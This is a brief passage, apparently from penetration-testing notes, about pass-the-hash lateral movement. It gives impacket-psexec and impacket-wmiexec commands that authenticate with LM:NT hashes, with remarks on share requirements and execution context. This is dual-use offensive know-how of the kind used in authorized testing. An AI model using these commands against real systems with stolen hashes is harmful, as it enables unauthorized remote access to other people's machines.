With NTLM hashes:
impacket-psexec user@IP -hashes LM:NT
This command needs a writeable share!
With Administrator account, the user is authenticated as NT AUTHORITY\SYSTEM, so it's not applicable if you need Administrator's context.
impacket-wmiexec user@IP -hashes LM:NT
The context is the context of user.
user
Last updated 2 years ago